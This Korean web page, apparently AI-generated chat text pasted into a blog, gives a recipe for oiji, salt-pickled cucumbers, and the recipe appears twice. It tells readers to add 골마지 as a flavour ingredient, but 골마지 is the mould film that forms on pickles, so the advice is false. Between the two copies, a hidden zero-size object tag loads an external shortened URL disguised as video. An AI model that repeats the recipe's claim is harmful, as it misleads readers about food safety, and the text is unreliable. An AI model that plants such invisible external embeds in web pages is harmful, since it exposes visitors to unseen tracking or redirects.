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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:33">전통 오이지 맛있게 담그는 비법, 모두 알려드릴게요!</h2><p data-sourcepos="3:1-3:72"><strong>오이지, 골마지 넣어야 더 맛있는 거 아시죠?</strong> 옛날 할머니 손맛 그대로, 아삭아삭 맛있는 오이지를 집에서 직접 담가보세요!</p><h3 data-sourcepos="5:1-5:9">재료 준비</h3><ul data-sourcepos="7:1-12:0">
<li data-sourcepos="7:1-7:52"><strong>오이:</strong> 오이지용 오이를 사용하면 더욱 좋습니다. 싱싱하고 단단한 오이를 선택하세요.</li>
<li data-sourcepos="8:1-8:29"><strong>소금:</strong> 굵은소금을 사용하는 것이 좋습니다.</li>
<li data-sourcepos="9:1-9:35"><strong>골마지:</strong> 오이지의 풍미를 더해주는 중요한 재료입니다.</li>
<li data-sourcepos="10:1-10:26"><strong>소주:</strong> 오이지의 보존성을 높여줍니다.</li>
<li data-sourcepos="11:1-12:0"><strong>물:</strong> 깨끗한 물을 사용하세요.</li>
</ul><h3 data-sourcepos="13:1-13:9">만드는 법</h3><ol data-sourcepos="15:1-21:0">
<li data-sourcepos="15:1-15:61"><strong>오이 손질:</strong> 오이는 흐르는 물에 깨끗하게 씻은 후, 베이킹소다를 이용해 껍질을 문질러 닦아줍니다.</li>
<li data-sourcepos="16:1-16:73"><strong>소금물 만들기:</strong> 냄비에 물을 끓이고 소금을 녹여 소금물을 만듭니다. 소금의 양은 물 1L당 100g 정도가 적당합니다.</li>
<li data-sourcepos="17:1-17:98"><strong>오이 절이기:</strong> 깨끗하게 씻은 오이를 용기에 담고, 만든 소금물을 부어 오이가 완전히 잠기도록 합니다. 무거운 돌이나 접시 등으로 눌러주면 오이가 골고루 절여집니다.</li>
<li data-sourcepos="18:1-18:68"><strong>골마지 넣기:</strong> 절인 오이 위에 골마지를 넣어줍니다. 골마지는 오이지의 풍미를 더하고 아삭한 식감을 살려줍니다.</li>
<li data-sourcepos="19:1-19:60"><strong>소주 넣기:</strong> 소주를 약간 넣어주면 오이지의 보존성을 높이고 잡냄새를 제거하는 데 도움이 됩니다.</li>
<li data-sourcepos="20:1-21:0"><strong>실온 보관:</strong> 실온에서 3~5일 정도 절이면 아삭하고 맛있는 오이지가 완성됩니다.</li>
</ol><h3 data-sourcepos="22:1-22:5">팁</h3><ul data-sourcepos="24:1-28:0">
<li data-sourcepos="24:1-24:44"><strong>오이 종류:</strong> 오이지용 오이 외에도 일반 오이를 사용할 수 있습니다.</li>
<li data-sourcepos="25:1-25:87"><strong>소금 비율:</strong> 소금의 양은 오이의 종류와 염도에 따라 조절할 수 있습니다. 처음에는 적은 양의 소금으로 시작하여 맛을 보며 조절하는 것이 좋습니다.</li>
<li data-sourcepos="26:1-26:50"><strong>보관 방법:</strong> 완성된 오이지는 서늘한 곳에 보관하면 더욱 오래 먹을 수 있습니다.</li>
<li data-sourcepos="27:1-28:0"><strong>다른 재료 첨가:</strong> 고추, 마늘, 생강 등을 넣어 다양한 맛의 오이지를 만들 수 있습니다.</li>
</ul><h3 data-sourcepos="29:1-29:9">주의 사항</h3><ul data-sourcepos="31:1-34:0">
<li data-sourcepos="31:1-31:43">오이를 너무 오래 절이면 짜게 될 수 있으므로 시간을 잘 조절해야 합니다.</li>
<li data-sourcepos="32:1-32:33">소금물의 농도가 너무 낮으면 오이지가 상할 수 있습니다.</li>
<li data-sourcepos="33:1-34:0">오이지 국물은 멸치 다시마 육수에 넣어 끓여 먹으면 맛있는 국물 요리가 됩니다.</li>
</ul><p data-sourcepos="35:1-35:43"><strong>이제 집에서 직접 만든 오이지로 밥상을 더욱 풍성하게 만들어 보세요!</strong></p><p data-sourcepos="37:1-37:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p><ul data-sourcepos="39:1-40:0">
<li data-sourcepos="39:1-40:0"><strong>더 자세한 레시피를 원하시면 유튜브에 "오이지 담그는 법"을 검색해 보세요. 다양한 레시피를 찾아볼 수 있습니다.</strong></li>
</ul><p data-sourcepos="41:1-41:29"><strong>오이지 집밥 레시피 한국음식 전통음식</strong></p><p data-sourcepos="43:1-43:34"><strong>혹시 다른 궁금한 점이 있으시면 언제든지 물어보세요!</strong></p><ul data-sourcepos="44:1-45:0">
<li data-sourcepos="44:1-45:0">예를 들어, "오이지 칼국수 맛있게 끓이는 법"이나 "오이지 냉국 레시피" 등을 물어보실 수 있습니다.</li>
</ul><p data-sourcepos="46:1-46:29"><strong>다른 음식 레시피도 궁금하시다면 알려주세요!</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="7:1-7:52"><strong>오이:</strong> 오이지용 오이를 사용하면 더욱 좋습니다. 싱싱하고 단단한 오이를 선택하세요.</li>
<li data-sourcepos="8:1-8:29"><strong>소금:</strong> 굵은소금을 사용하는 것이 좋습니다.</li>
<li data-sourcepos="9:1-9:35"><strong>골마지:</strong> 오이지의 풍미를 더해주는 중요한 재료입니다.</li>
<li data-sourcepos="10:1-10:26"><strong>소주:</strong> 오이지의 보존성을 높여줍니다.</li>
<li data-sourcepos="11:1-12:0"><strong>물:</strong> 깨끗한 물을 사용하세요.</li>
</ul><h3 data-sourcepos="13:1-13:9">만드는 법</h3><ol data-sourcepos="15:1-21:0">
<li data-sourcepos="15:1-15:61"><strong>오이 손질:</strong> 오이는 흐르는 물에 깨끗하게 씻은 후, 베이킹소다를 이용해 껍질을 문질러 닦아줍니다.</li>
<li data-sourcepos="16:1-16:73"><strong>소금물 만들기:</strong> 냄비에 물을 끓이고 소금을 녹여 소금물을 만듭니다. 소금의 양은 물 1L당 100g 정도가 적당합니다.</li>
<li data-sourcepos="17:1-17:98"><strong>오이 절이기:</strong> 깨끗하게 씻은 오이를 용기에 담고, 만든 소금물을 부어 오이가 완전히 잠기도록 합니다. 무거운 돌이나 접시 등으로 눌러주면 오이가 골고루 절여집니다.</li>
<li data-sourcepos="18:1-18:68"><strong>골마지 넣기:</strong> 절인 오이 위에 골마지를 넣어줍니다. 골마지는 오이지의 풍미를 더하고 아삭한 식감을 살려줍니다.</li>
<li data-sourcepos="19:1-19:60"><strong>소주 넣기:</strong> 소주를 약간 넣어주면 오이지의 보존성을 높이고 잡냄새를 제거하는 데 도움이 됩니다.</li>
<li data-sourcepos="20:1-21:0"><strong>실온 보관:</strong> 실온에서 3~5일 정도 절이면 아삭하고 맛있는 오이지가 완성됩니다.</li>
</ol><h3 data-sourcepos="22:1-22:5">팁</h3><ul data-sourcepos="24:1-28:0">
<li data-sourcepos="24:1-24:44"><strong>오이 종류:</strong> 오이지용 오이 외에도 일반 오이를 사용할 수 있습니다.</li>
<li data-sourcepos="25:1-25:87"><strong>소금 비율:</strong> 소금의 양은 오이의 종류와 염도에 따라 조절할 수 있습니다. 처음에는 적은 양의 소금으로 시작하여 맛을 보며 조절하는 것이 좋습니다.</li>
<li data-sourcepos="26:1-26:50"><strong>보관 방법:</strong> 완성된 오이지는 서늘한 곳에 보관하면 더욱 오래 먹을 수 있습니다.</li>
<li data-sourcepos="27:1-28:0"><strong>다른 재료 첨가:</strong> 고추, 마늘, 생강 등을 넣어 다양한 맛의 오이지를 만들 수 있습니다.</li>
</ul><h3 data-sourcepos="29:1-29:9">주의 사항</h3><ul data-sourcepos="31:1-34:0">
<li data-sourcepos="31:1-31:43">오이를 너무 오래 절이면 짜게 될 수 있으므로 시간을 잘 조절해야 합니다.</li>
<li data-sourcepos="32:1-32:33">소금물의 농도가 너무 낮으면 오이지가 상할 수 있습니다.</li>
<li data-sourcepos="33:1-34:0">오이지 국물은 멸치 다시마 육수에 넣어 끓여 먹으면 맛있는 국물 요리가 됩니다.</li>
</ul><p data-sourcepos="35:1-35:43"><strong>이제 집에서 직접 만든 오이지로 밥상을 더욱 풍성하게 만들어 보세요!</strong></p><p data-sourcepos="37:1-37:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p><ul data-sourcepos="39:1-40:0">
<li data-sourcepos="39:1-40:0"><strong>더 자세한 레시피를 원하시면 유튜브에 "오이지 담그는 법"을 검색해 보세요. 다양한 레시피를 찾아볼 수 있습니다.</strong></li>
</ul><p data-sourcepos="41:1-41:29"><strong>오이지 집밥 레시피 한국음식 전통음식</strong></p><p data-sourcepos="43:1-43:34"><strong>혹시 다른 궁금한 점이 있으시면 언제든지 물어보세요!</strong></p><ul data-sourcepos="44:1-45:0">
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</ul><p data-sourcepos="46:1-46:29"><strong>다른 음식 레시피도 궁금하시다면 알려주세요!</strong></p></div>
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